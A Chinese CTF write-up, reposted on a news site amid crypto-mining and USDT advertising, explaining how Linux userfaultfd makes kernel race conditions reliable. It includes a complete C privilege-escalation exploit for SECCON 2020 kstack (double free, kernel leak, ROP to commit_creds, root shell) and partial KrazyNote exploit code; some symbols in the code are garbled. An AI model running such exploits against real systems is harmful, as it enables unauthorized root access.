洛阳新闻

usdt otc api接入(www.caibao.it):userfaultfd机制在Kernel提权中的应用

来源:洛阳新闻网 发布时间:2021-04-30 浏览次数:

FlaCoin矿机

IPFS官网(www.FLaCoin.vip)是Filecoin致力服务于使用Filecoin存储和检索数据的官方权威平台。IPFS官网实时更新FlaCoin(FIL)行情、当前FlaCoin(FIL)矿池、FlaCoin(FIL)收益数据、各类FlaCoin(FIL)矿机出售信息。并开放FlaCoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

userfaulfd 简介

内核内存包罗两个部门:RAM,保留即将被使用的内存页;交流区,保留暂时闲置的内存页。然而有的内存即不在 RAM,也不在 交流区中,例如 mmap确立的内存映射页。在内核 read、write操作 mmap分配的内存前,内核并没有将该内存页映射到现实的物理页中。而当内核读取 mmap分配的内存页时,内核则会举行一下步骤为 mmap的内存页映射一个现实的物理页:

  1. 为 mmap内存页地址确立物理帧;
  2. 读内容到 该物理帧;
  3. 在页表中符号入口,以识别 0x1337000虚地址。
    这个整个历程,可以称作发生了一次缺页错误,将会导致内核切换上下文和中止。

而 userfaultfd机制可以让用户来羁系此类缺页错误,并在用户空间完成对这类错误的处置。也就是一旦我们在内核触发了一次缺页错误,可以行使用户态的程序去穿插执行一些操作,这为我们内核条件竞争的行使提供了很大利便。

基本步骤

确立一个形貌符 uffd

要使用 userfaultfd,需要先确立一个 uffd

// userfaultfd系统挪用确立并返回一个uffd,类似一个文件的fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

之后所有的注册内存区间、设置和最终的缺页处置都需要用 ioctl对这个 uffd操作实现。ioctl-userfaultfd支持 UFFDIO_API、UFFDIO_REGISTER、UFFDIO_UNREGISTER、UFFDIO_COPY、UFFDIO_ZEROPAGE、UFFDIO_WAKE等选项。其中 UFFDIO_REGISTER可以用于向 userfaultfd机制注册一个监视去也。UFFDIO_COPY可用于当发生缺页错误时,向缺页的地址拷贝自界说的数据。

, 2 个用于注册、注销的ioctl选项:
UFFDIO_REGISTER                 注册将触发user-fault的内存地址
UFFDIO_UNREGISTER               注销将触发user-fault的内存地址
, 3 个用于处置user-fault事宜的ioctl选项:
UFFDIO_COPY                     用已知数据填充user-fault页
UFFDIO_ZEROPAGE                 user-fault页填零
UFFDIO_WAKE                     用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 
                                UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充

注册监视区域

然后,需要为监视的内存举行注册。这里使用上述提到的 UFFDIO_REGISETR操作:

addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr 和 len 划分是我匿名映射返回的地址和长度,赋值到uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode 只支持 UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// 用ioctl的UFFDIO_REGISTER注册
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);

这里,需要指定的 监视的 地址和长度,然后挪用 ioctl举行注册。

确立一个专用的线程轮询和处置 user-fault事宜

然后,需要确立一个线程用于轮询和处置 user-fault事宜。这里可以重启一个线程,由于需要轮询,阻止壅闭主线程。

// 主历程中挪用pthread_create确立一个fault handler线程
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);

在子线程中,使用 poll函数轮询 uffd,当轮询到缺页事宜后,可以先写上自己的处置代码,随后用轮询到的 UFFD_EVENT_PAGEFAULT事宜用上述提到的 UFFDIO_COPY拷贝数据到缺页处。

static void * fault_handler_thread(void *arg)
{    
    // 轮询uffd读到的信息需要存在一个struct uffd_msg工具中
    static struct uffd_msg msg;
    // ioctl的UFFDIO_COPY选项需要我们组织一个struct uffdio_copy工具
    struct uffdio_copy uffdio_copy;
    uffd = (long) arg;
    ......
    for (;;) { // 此线程不停举行polling,以是是死循环
        // poll需要我们组织一个struct pollfd工具
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        poll(&pollfd, 1, -1);
        // 读出user-fault相关信息
        read(uffd, &msg, sizeof(msg));
        // 对于我们所注册的一样平常user-fault功效,都应是UFFD_EVENT_PAGEFAULT这个事宜
        assert(msg.event == UFFD_EVENT_PAGEFAULT);

        //我们自己的处置代码

        // 组织uffdio_copy进而挪用ioctl-UFFDIO_COPY处置这个user-fault
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        // page(我们已有的一个页巨细的数据)中page_size巨细的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中
        ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
            ......
    }
}

而在上述的处置函数中,穿插的我们自己的处置代码,就可以辅助实现条件竞争。

2020-SECCON kstack

程序剖析

__int64 proc_init()
{
  proc_file_entry = proc_create("stack", 0LL, 0LL, &proc_file_fops);
  return proc_file_entry == 0 ? 0xFFFFFFF4 : 0;
}

在 proc_init中注册了一个 proc_file_fops结构体,然后将该结构体的 unlocked_ioctl设置为了 proc_ioctl函数,该函数如下:

__int64 __fastcall proc_ioctl(__int64 a1, int a2, __int64 a3)
{
  int v4; // er12
  __int64 head_chunk; // r13
  __int64 chunk1; // rbx
  __int64 result; // rax
  __int64 chunk; // rbx
  __int64 v9; // rax

  v4 = *(_DWORD *)(__readgsqword((unsigned int)&current_task)   0x35C);
  if ( a2 == 1470889985 )
  {
    chunk = kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL);
    *(_DWORD *)chunk = v4;
    v9 = head;
    head = chunk;
    *(_QWORD *)(chunk   16) = v9;
    if ( !copy_from_user(chunk   8, a3, 8LL) )
      return 0LL;
    head = *(_QWORD *)(chunk   16);
    kfree(chunk);
    result = -22LL;
  }
  else
  {
    if ( a2 != 0x57AC0002 )
      return 0LL;
    head_chunk = head;
    if ( !head )
      return 0LL;
    if ( v4 == *(_DWORD *)head )
    {
      if ( !copy_to_user(a3, head   8, 8LL) )
      {
        chunk1 = head_chunk;
        head = *(_QWORD *)(head_chunk   16);
        goto LABEL_12;
      }
    }
    else
    {
      chunk1 = *(_QWORD *)(head   16);
      if ( chunk1 )
      {
        while ( *(_DWORD *)chunk1 != v4 )
        {
          head_chunk = chunk1;
          if ( !*(_QWORD *)(chunk1   16) )
            goto LABEL_16;
          chunk1 = *(_QWORD *)(chunk1   16);
        }
        if ( !copy_to_user(a3, chunk1   8, 8LL) )
        {
          *(_QWORD *)(head_chunk   16) = *(_QWORD *)(chunk1   16);
LABEL_12:
          kfree(chunk1);
          return 0LL;
        }
      }
    }
LABEL_16:
    result = -22LL;
  }
  return result;
}

问题名称就叫 kstack,以是意图很显著就是模拟了一个 stack的push和 pop历程,head就是 栈顶 rsp,head 0x10指向了下一个栈结构。

其中 push,会先申请一个 0x20的 slub,然后将 0x8处存上用户输入的数据,将 0x10处 赋值为 head,再将该 slub释放掉,将 head指针还原为 slub 0x10。

pop,会凭证 v4从当前栈顶 head最先找到相符要求的 slub,将 0x8的数据输出给用户,然后将 该 slub释放掉。

程序总体流程没什么显著的破绽,然则其处置函数是 unlocked_ioctl类型,而该类型是不使用内核提供的全局同步锁。以是这里就存在多线程竞争的破绽。好比两个线程同时执行 pop,那么有可能存在当线程 1执行到 已经取得 需要 释放的 slub地址时,线程2 已经将 该 slub释放掉,然后 线程1 再次释放该 slub,最终导致一个 double free破绽。

而这里为了保证多线程竞争的百分百乐成率,可以思量 userfaultfd,来组织一个百分百乐成的 double free破绽。

行使剖析

  1. double free 破绽组织

关于 userfaultfd的原理,在之前已经讲述过。这里和之前唯一差其余是,我们在处置线程中确立一个循环,不停使用 pool来守候 userfault fd,然后读取 uffd msg。在后面写上自己的处置函数,这样就能一直针对缺页错误,举行一次 hook处置。

for (;;) {

   /* See what poll() tells us about the userfaultfd */

   struct pollfd pollfd;
   int nready;
   pollfd.fd = uffd;
   pollfd.events = POLLIN;
   nready = poll(&pollfd, 1, -1);
   if (nready == -1)
       errExit("poll");

   printf("nfault_handler_thread():n");
   printf("    poll() returns: nready = %d; "
           "POLLIN = %d; POLLERR = %dn", nready,
           (pollfd.revents & POLLIN) != 0,
           (pollfd.revents & POLLERR) != 0);

   /* Read an event from the userfaultfd */

   nread = read(uffd, &msg, sizeof(msg));
   if (nread == 0) {
       printf("EOF on userfaultfd!n");
       exit(EXIT_FAILURE);
   }

   if (nread == -1)
       errExit("read");

   //input your code
...

那么,这里我们只需要在 handler中,写上针对差异缺页错误的,差异处置方式就可以。这里我们第一次挪用缺页错误是为了组织一个 double free,组织的方式是 在执行一次 pop的 kfree之前,穿插执行一次 pop。以是我们行使 pop来组织一个 缺页错误。并在handle中再次执行一次 pop,这样就可以将统一个 slub执行两次释放,造成一个 double free错误。

handle中处置函数如下:

puts("First Double Free");
                Output(&value);
                printf("[ ] faultd free ok, popped: 6lxn", value);
                break;

缺页错误触发如下,由于这里的 fault_ptr是由 mmap确立的,以是会发生一个缺页错误。

puts("Doubel free:");
    Output(fault_ptr);
    puts(" 1 double free ok");
    usleep(300);

这里简朴剖析一下这个double free的总体执行流程:

主线程:                                handler:
Output(fault_ptr)
  copy_to_user(fault_ptr)触发缺页错误
                                        Output(value)
                                            copy_to_user(value)
                                            kfree(slub)     //第一次释放slub
                                            ioctl(uffd, UFFDIO_COPY, &uffdio_copy) //恢复主线程的copy_to_user
  kfree(slub)   //造成double free
  1. 泄露地址

这里由于 slub 巨细只有 0x20,以是这里不能选用 tty_struct,这里可以选用 seq_operations结构体,其巨细也为 0x20,而且其包罗了4个函数指针,可以便于我们泄露地址:

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

其使用方式如下:

int victim = open("/proc/self/stat", O_RDONLY); //申请kmalloc-32 slub
read(victim, buf, 1); // call start

我们可以先申请一个 seq_operations结构体,其会分配为第一步中释放的 slub。

然后这里我们不能够直接使用 pop读取出来,由于 此时 head链表中已经没有该 slub,我们需要先行使 push将该 slub申请回来。然则我们又不能直接使用 push,由于 push会将申请的 slub 0x8的数据笼罩,而 pop只能读取 slub 0x8的数据。以是这里又要行使一次 userfault来使得 push在执行到 kmalloc后 和 copy_from_user之前前,先行使 pop将 head中的 slub读取出来,最后再执行 copy_from_user。

这里 handle处置函数如下:

// overlap Element and seq_operations (caused by push)
                puts("Second Output to get kernel_addr");
                Output(&value);
                printf("[ ] fault get addr ok, popped: 6lxn", value);
                kernel_base = value - offset;
                break;

其触发方式如下:

puts("leak kernel_addr:");
    int fd1 = open("/proc/self/stat", O_RDONLY);
    if(fd1 < 0 ){
        Err("Alloc stat");
    }
    Input(fault_ptr 0x1000);
    printf("Got kernel_base: 0x%llxn",kernel_base);
    usleep(300);
  1. 再次组织一个 double free
  2. 笼罩函数指针

这里笼罩函数指针的方式,用到了 userfault setxattr和 seq_operations连系。先堆喷一个 seq_operations结构体,再行使 sexattr来 修改 seq_operations结构体中的函数指针。

堆喷 seq_operations结构体:

// overlap seq_operations and setxattr buffer (cause by setxattr)
                puts("Fourth alloc seq_operations");
                victim_fd = open("/proc/self/stat", O_RDONLY);
                printf("[ ] alloc ok, victim fd: %dn", victim_fd);

经由上面的操作,就会将第3步组织的 double free的 一个 slub分配给 seq_operations结构体。

然后,再将剩下的一个 slub分配给 setxattr,然后行使 setxattr来修改 该 slub的前 0x20字节。当 sexattr修改了slub的前 0x20字节,那么此时 seq_operation结构体的前 0x20字节的指针也被修改了。然后选择将 start指针修改为 栈迁徙的 gadget。

char* data[0x30] = { 0 };
memset(data, '0', 0x30);
*(unsigned long*)((unsigned long)data 0x18) = kernel_base stack_pivot;

setxattr("/tmp", "seccon",
           (void*)((unsigned long)data),
           0x20, XATTR_CREATE);
    puts("change ok");

这里栈迁徙的 gadget选择,没有选择之前的 xchg指令,而是选择了 mov esp, 0x5d000010的 gadget加倍利便。我们只需要将 rop部署在 0x5d000010的位置即可。

,

USDT跑分

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

,
  1. 组织 ROP

ROP的构作育是很经典的方式,不外这里注重开启了 KPTI,以是需要绕过 KPTI珍爱。这里可以使用 修改 cr3寄存器的方式,但我选择使用另一种方式就是直接行使 swapgs_restore_regs_and_return_to_usermode这个函数返回,即可实现绕过 KPTI而且返回到用用户层。然后这里注重,使用该方式返回到用户层时,user_sp需要设置为一个 可执行的地址。这里就选择之前 mmap分配的一块地址即可,否则会被一个段错误。固然这个段错误也可以通过 signal捕捉,然后再次执行 system来绕过。

EXP

// gcc -static -pthread exp.c -g -o exp
,include <stdlib.h>
,include <string.h>
,include <stdio.h>
,include <fcntl.h>
,include <unistd.h>
,include <pthread.h>
,include <errno.h>
,include <poll.h>
,include <arpa/inet.h>
,include <sys/wait.h>
,include <sys/ioctl.h>
,include <sys/mman.h>
,include <sys/ipc.h>
,include <sys/shm.h>
,include <sys/msg.h>
,include <sys/types.h>
,include <sys/socket.h>
,include <sys/syscall.h>
,include <sys/un.h>
,include <sys/xattr.h>
,include <linux/userfaultfd.h>


int fd = 0;
char bf[0x100] = { 0 };
size_t fault_ptr;
size_t fault_len = 0x4000;
size_t kernel_base = 0x0;
size_t offset = 0x13be80;
size_t victim_fd = 0;
size_t stack_pivot = 0x02cae0;
size_t preapre_kernel_cred = 0x069e00;
size_t commit_creds = 0x069c10;
size_t p_rdi_r = 0x034505;
size_t mov_rdi_rax_p_rbp_r = 0x01877f;
size_t swapgs = 0x03ef24;
size_t iretq = 0x01d5c6;
size_t kpti_bypass = 0x600a4a;
size_t user_cs, user_ss, user_sp, user_rflags;

void Err(char* buf){
    printf("%s Errorn", buf);
    exit(-1);
}

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

void savestatus(){
  asm("movq %%cs, %0n"
      "movq %%ss, %1n"
      "pushfqn"
      "popq %2n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
      :: "memory");
}

void get_shell(){
    if(!getuid()){
        puts("Root Now!");
        //system("/bin/sh");
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
}

void Input(char* buf){
    if(-1 == ioctl(fd, 1470889985, buf)){
        Err("Input");
    }
    puts("  [=] input ok");
}

void Output(char* buf){
    if(-1 == ioctl(fd, 1470889986, buf)){
        Err("Output");
    }
    puts("  [=] output ok");
}

int page_size;
void* handler(void *arg){
    unsigned long value;
    static struct uffd_msg msg;
    static int fault_cnt = 0;
    long uffd;
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    int len, i;

    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED) fatal("mmap (userfaultfd)");
    }

    uffd = (long)arg;

    for(;;) {
        struct pollfd pollfd;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        len = poll(&pollfd, 1, -1);
        if (len == -1) fatal("poll");

        printf("[ ] fault_handler_thread():n");
        printf("    poll() returns: nready = %d; "
           "POLLIN = %d; POLLERR = %dn", len,
           (pollfd.revents & POLLIN) != 0,
           (pollfd.revents & POLLERR) != 0);

        len = read(uffd, &msg, sizeof(msg));
        if (len == 0) fatal("userfaultfd EOF");
        if (len == -1) fatal("read");
        if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event");

        printf("[ ] UFFD_EVENT_PAGEFAULT event: n");
        printf("    flags = 0x%lxn", msg.arg.pagefault.flags);
        printf("    address = 0x%lxn", msg.arg.pagefault.address);
        printf("[!] fault_cnt: %dn",fault_cnt);
        switch(fault_cnt) {
            case 0:
                puts("  [1.1] First Double Free");
                Output(&value);
                printf("  [1.1] faultd free ok, popped: 6lxn", value);
                break;
            case 1:
                // overlap Element and seq_operations (caused by push)
                puts("  [2.1] Second Output to get kernel_addr");
                Output(&value);
                printf("  [2.1] fault get addr ok, popped: 6lxn", value);
                kernel_base = value - offset;
                break;
            case 2:
                // double free (caused by pop)
                puts("  [3.1]Third Double free");
                Output(&value);
                printf("  [3.1]fault free ok, popped: 6lxn", value);
                break;
            default:
                puts("ponta!");
                getchar();
                break;
        }

        // return to kernel-land
        uffdio_copy.src = (unsigned long)page;
        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY");
        printf("[ ] uffdio_copy.copy = %ldn", uffdio_copy.copy);
        fault_cnt  ;
    }  
}

size_t register_userfault(size_t addr, size_t len){
    long uffd;        
//    char *addr;       
//    size_t len = 0x1000;
    pthread_t thr; 
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    // new userfaulfd
    page_size = sysconf(_SC_PAGE_SIZE);
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
    {
        puts("userfaultfdn");
        exit(-1);
    }

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)      // create the user fault fd
    {
        puts("ioctl uffd errn");
        exit(-1);
    }
//    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,       //create page used for user fault
//                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
//    if (addr == MAP_FAILED)
//    {
//        puts("map errn");
//        exit(-1);
//    }

    printf("Address returned by mmap() = %pn", addr);
    uffdio_register.range.start = (size_t) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处置fd,这样只要copy_from_user
//                                       //接见到FAULT_PAGE,则接见被挂起,uffd会吸收到信号
    {
        puts("ioctl register errn");
        exit(-1);
    }

    s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数举行访存错误处置
    if (s != 0) {
        errno = s;
        puts("pthread create errn");
        exit(-1);
    }
    return addr;
}

void prepare_ROP(){
    char* rop_mem = mmap((void*)0x5d000000 - 0x8000, 0x10000, 
        PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON | MAP_POPULATE, -1, 0);

    unsigned long* rop_addr = (unsigned long*)(rop_mem 0x8000 0x10);
    int i = 0;
    rop_addr[i  ] = p_rdi_r kernel_base;
    rop_addr[i  ] = 0;
    rop_addr[i  ] = preapre_kernel_cred kernel_base;
    rop_addr[i  ] = mov_rdi_rax_p_rbp_r kernel_base;
    rop_addr[i  ] = 0;
    rop_addr[i  ] = commit_creds kernel_base;
    // rop_addr[i  ] = swapgs kernel_base;
    // rop_addr[i  ] = 0;
    // rop_addr[i  ] = iretq kernel_base;
    rop_addr[i  ] = kpti_bypass kernel_base;
    rop_addr[i  ] = 0;
    rop_addr[i  ] = 0;
    rop_addr[i  ] = get_shell;
    rop_addr[i  ] = user_cs;
    rop_addr[i  ] = user_rflags;
    rop_addr[i  ] = 0x5d000000-0x8000 0x900;
    rop_addr[i  ] = user_ss;
}

int main(){
    savestatus();
    //register page fault
    fault_ptr = mmap(NULL, fault_len, PROT_READ | PROT_WRITE,       //create page used for user fault
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (fault_ptr == MAP_FAILED)
    {
        puts("map errn");
        exit(-1);
    }

    register_userfault(fault_ptr, fault_len);

    fd = open("/proc/stack", O_RDONLY);
    if(fd < 0){
        Err("Open dev");
    }

    char* buf = malloc(0x100);
    memset(buf, "a", 0x100);

    //fault_ptr = register_userfault();
    Input(buf);
    memset(buf, "b", 0x100);
    Input(buf);

    puts("[1] Doubel free:");
    Output(fault_ptr);
    puts("[1] double free ok");
    usleep(300);

    puts("[2] leak kernel_addr:");
    int fd1 = open("/proc/self/stat", O_RDONLY);
    if(fd1 < 0 ){
        Err("Alloc stat");
    }
    Input(fault_ptr 0x1000);
    printf("[2] Got kernel_base: 0x%llxn",kernel_base);
    usleep(300);

    puts("[3] Doubel free again");
    Input(buf);
    Output(fault_ptr 0x2000);
    puts("[3] double free ok");
    usleep(300);

    //prepare data
    char* data[0x30] = { 0 };
    memset(data, '0', 0x30);
    *(unsigned long*)((unsigned long)data 0x18) = kernel_base stack_pivot; 

    puts("[4] Setxattr to change seq_operations->star ptr");
    puts("  [4.1] Fourth alloc seq_operations");
    victim_fd = open("/proc/self/stat", O_RDONLY);
    printf("  [4.1] alloc ok, victim fd: %dn", victim_fd);

    setxattr("/tmp", "seccon",
           (void*)((unsigned long)data),
           0x20, XATTR_CREATE);
    puts("[4] change ok");
    usleep(300);

    puts("[5] Prepare ROP");
    prepare_ROP();

    puts("[6] Trigger vul");
    read(victim_fd, buf, 1);

    return 0;
}

2019-BalsnCTF KrazyNote

程序剖析

__int64 __fastcall init_module(__int64 a1, __int64 a2)
{
  _fentry__(a1, a2);
  bufptr = (__int64)&unk_B60;
  return misc_register(&unk_620);
}

程序首先注册了一个 unk_B60结构,该结构体为 miscdevice

struct miscdevice  {
    int minor;
    const char *name;
    const struct file_operations *fops;
    struct list_head list;
    struct device *parent;
    struct device *this_device;
    const struct attribute_group **groups;
    const char *nodename;
    umode_t mode;
};

然后,可以看一下 其中 fops注册的结构 file_operations:

// file_operations结构
struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
    ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
    int (*iopoll)(struct kiocb *kiocb, bool spin);
    int (*iterate) (struct file *, struct dir_context *);
    int (*iterate_shared) (struct file *, struct dir_context *);
    __poll_t (*poll) (struct file *, struct poll_table_struct *);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    long (*compat_ioctl) (struct file *, unsigned int, unsigned long);

    ... truncated
};

可以看到该结构体,是对 file举行操作的结构体。我们看一下数据,会发现该结构体中,就有两个地方界说了函数 sub_10和 sub_0。而这两个地方恰好对应结构体的 unlocked_ioctl和 open指针,其他都是null。unlocked_ioctl和compat_ioctl有区别,unlocked_ioctl不使用内核提供的全局同步锁,所有的同步原语需自己实现,以是可能存在条件竞争破绽。
sub_0函数没什么器械,我们主要详细剖析 unlocked_ioctl对应的sub_10函数,其主要实现了 neweditshowdelete功效。然后主要有两个结构体,一个是 note,一个是用户传入的结构体 noteRequest :

// note结构——存储的note
struct note {
    unsigned long key;
    unsigned char length;
    void *contentPtr;
    char content[];
}
// noteRequest结构——用户参数
struct noteRequest{
  size_t idx;
  size_t length;
  size_t userptr;
}

note中 key是用于加密存储数据的,length是数据的长度,content[]是一个动态数组的地址,用于存储数据;而 contentPtr=&note->content - page_offset_base,别名页的地址是[SOME_OFFSET physical address],page_offset_base就是这个SOME_OFFSET。

if ( (unsigned int)a2 <= 0xFFFFFF01 )
  {
    if ( (_DWORD)a2 != -256 )                   // New
      return -25LL;
    idx = -1LL;
    v7 = 0LL;
    while ( 1 )                                 // get freed note
    {
      idx1 = (int)v7;
      if ( !note_list[v7] )
        break;
      if (   v7 == 16 )
        return -14LL;
    }
    new_note = (_QWORD *)bufptr;
    idx = idx1;
    note_list[idx1] = bufptr;
    new_note[1] = note_length1;
    v21 = (char *)(new_note   3);
    *new_note = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned int)&current_task)   2024)   80LL);
    v22 = n;
    v23 = userbuf1;
    bufptr = (__int64)new_note   n   24;        // get next free mem
    if ( n > 0x100 )
    {
      _warn_printk("Buffer overflow detected (%d < %lu)!n", 256LL, n);
      BUG();
    }
    _check_object_size(encbuf, n, 0LL);
    copy_from_user(encbuf, v23, v22);
    v24 = n;
    v25 = (_QWORD *)note_list[idx];
    if ( n )
    {
      v26 = 0LL;
      do
      {
        encbuf[v26 / 8] ^= *v25;
        v26  = 8LL;
      }
      while ( v26 < v24 );
    }
    memcpy(v21, encbuf, v24);
    result = 0LL;
    v25[2] = &v21[-page_offset_base];
  }

New函数中,会首先从 note_list中获得空闲的note的idx,然后从 bufptr中取出空闲的地址,并将其赋值给 note结构,然后依次赋值 length 和 contentPtr。并将 bufptr指向下一处空闲地址,随后取出 encbuf,将用户数据拷贝到 encbuf,然后依次使用 key加密,最后将加密数据拷贝到 note->content。

if ( (_DWORD)a2 == 0xFFFFFF01 )               // Edit
  {
    note = note_list[idx2];
    if ( note )
    {
      note_length = *(unsigned __int8 *)(note   8);
      user_buf1 = userbuf1;
      contentArr1 = (_QWORD *)(*(_QWORD *)(note   16)   page_offset_base);
      _check_object_size(encbuf, note_length, 0LL);
      copy_from_user(encbuf, user_buf1, note_length);// get user new input
      if ( note_length )
      {
        key = (_QWORD *)note_list[idx];
        for ( i = 0LL; i < note_length; i  = 8LL )
          encbuf[i / 8] ^= *key;                // enc new data
        if ( (unsigned int)note_length >= 8 )
        {
          *contentArr1 = encbuf[0];
          *(_QWORD *)((char *)contentArr1   (unsigned int)note_length - 8) = *(__int64 *)((char *)&userbuf1
                                                                                          (unsigned int)note_length);
          result = 0LL;
          qmemcpy(                              // copy new data to contentArr
            (void *)((unsigned __int64)(contentArr1   1) & 0xFFFFFFFFFFFFFFF8LL),
            (const void *)((char *)encbuf
                         - ((char *)contentArr1
                          - ((unsigned __int64)(contentArr1   1) & 0xFFFFFFFFFFFFFFF8LL))),
            8LL
          * (((unsigned int)note_length   (_DWORD)contentArr1 - (((_DWORD)contentArr1   8) & 0xFFFFFFF8)) >> 3));
          return result;
        }
      }

Edit看着有点乱,然则总体逻辑照样 将用户输入 通过 copy_from_user拷贝到 encbuf,然后取出 note->content地址,将 encbuf数据加密后,拷贝到 note->content中。这里 注重: copy_from_user并不是原子性的操作,也并没有上锁,根据我们之前的剖析缺页可以让其有一个很大的空窗期供我们操作,进而行使竞争改掉某些要害数据

if ( (_DWORD)a2 != -254 )
    {
      note_ptr = note_list;
      if ( (_DWORD)a2 == -253 )                 // delete
      {
        do
          *note_ptr   = 0LL;
        while ( &_check_object_size != (__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD))note_ptr );
        result = 0LL;
        bufptr = (__int64)&unk_B60;
        memset(&unk_B60, 0, 0x2000uLL);
        return result;
      }
      return -25LL;
    }

delete函数很简朴,将响应 note都清空,然后将 bufptr里都赋值为 0。

if ( note2 )                                // Show
    {
      userlen2 = *(unsigned __int8 *)(note2   8);
      contentArr2 = (_DWORD *)(*(_QWORD *)(note2   16)   page_offset_base);
      if ( (unsigned int)userlen2 >= 8 )
      {
        *(__int64 *)((char *)&userbuf1   *(unsigned __int8 *)(note2   8)) = *(_QWORD *)((char *)contentArr2
                                                                                        *(unsigned __int8 *)(note2   8)
                                                                                      - 8);
        qmemcpy(encbuf, contentArr2, 8LL * ((unsigned int)(userlen2 - 1) >> 3));
      }
      else if ( (userlen2 & 4) != 0 )
      {
        LODWORD(encbuf[0]) = *contentArr2;
        *(_DWORD *)((char *)encbuf   (unsigned int)userlen2 - 4) = *(_DWORD *)((char *)contentArr2
                                                                               (unsigned int)userlen2
                                                                             - 4);
      }
      else if ( *(_BYTE *)(note2   8) )
      {
        LOBYTE(encbuf[0]) = *(_BYTE *)contentArr2;
        if ( (userlen2 & 2) != 0 )
          *(_WORD *)((char *)encbuf   (unsigned int)userlen2 - 2) = *(_WORD *)((char *)contentArr2
                                                                               (unsigned int)userlen2
                                                                             - 2);
      }
      if ( userlen2 )
      {
        for ( j = 0LL; j < userlen2; j  = 8LL )
          encbuf[j / 8] ^= *(_QWORD *)note2;    // dec data
      }
      user_buf2 = userbuf1;
      _check_object_size(encbuf, userlen2, 1LL);
      copy_to_user(user_buf2, encbuf, userlen2);
      result = 0LL;
    }

show函数,取出 note->content中加密的数据,解密后,使用 copy_to_user拷贝给用户空间。

行使剖析

上面已经将 程序破绽说明 是位于 Edit中 copy_from_user并非原子操作,其十分耗时,导致我们可以行使这个空闲时间,使用 userfault来执行某些操作,条件竞争制造破绽。

  1. 缓冲区溢出组织

我们首先需要组织一个 堆溢露马脚。先 New(buffer, 0x10),确立 note[0]。此时在空闲内存中的结构为,一个 note_struct的空间,加上 0x10的buf空间。

note_struct //note[0]
0x10 buf

然后 根据上面 userfaultfd的处置流程,先使用 register_userfault()注册一个 userfaultfd处置程序。然后使用 Edit(0,1 PAGE_FAULT)。这里我们将 PAGE_FAULT界说为 一个地址,这里 Edit函数 会对该 地址指向的内存 举行接见,而这个地址并没有响应的页面映射,以是这里就会造成一次 userfaultfd错误,然后我们就可以使用我们自己的注册 userfaultfd处置程序来接受程序,从而在 一次内核操作中,完成属于我们自己的操作。从而造成条件竞争。

我们在自己的 handler函数中,完成了如下步骤:

//现在主线程停在copy_from_user函数了,可以举行行使了
    delete();
    create(buffer, 0);
    create(buffer, 0);
    // 原始内存:note0 struct   0x10 buffer
    // 当前内存:note0 struct   note1 struct
    // 当主线程继续拷贝时,就会损坏note1区域

    if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用
        errExit("[-] Error in reading uffd_msg");

    struct uffdio_copy uc;
    memset(buffer, 0, sizeof(buffer));
    buffer[8] = 0xf0; //把note1 的length改成0xf0

    uc.src = (unsigned long)buffer;
    uc.dst = (unsigned long)FAULT_PAGE;
    uc.len = 0x1000;
    uc.mode = 0;
    ioctl(uffd, UFFDIO_COPY, &uc);  // 恢复执行copy_from_user

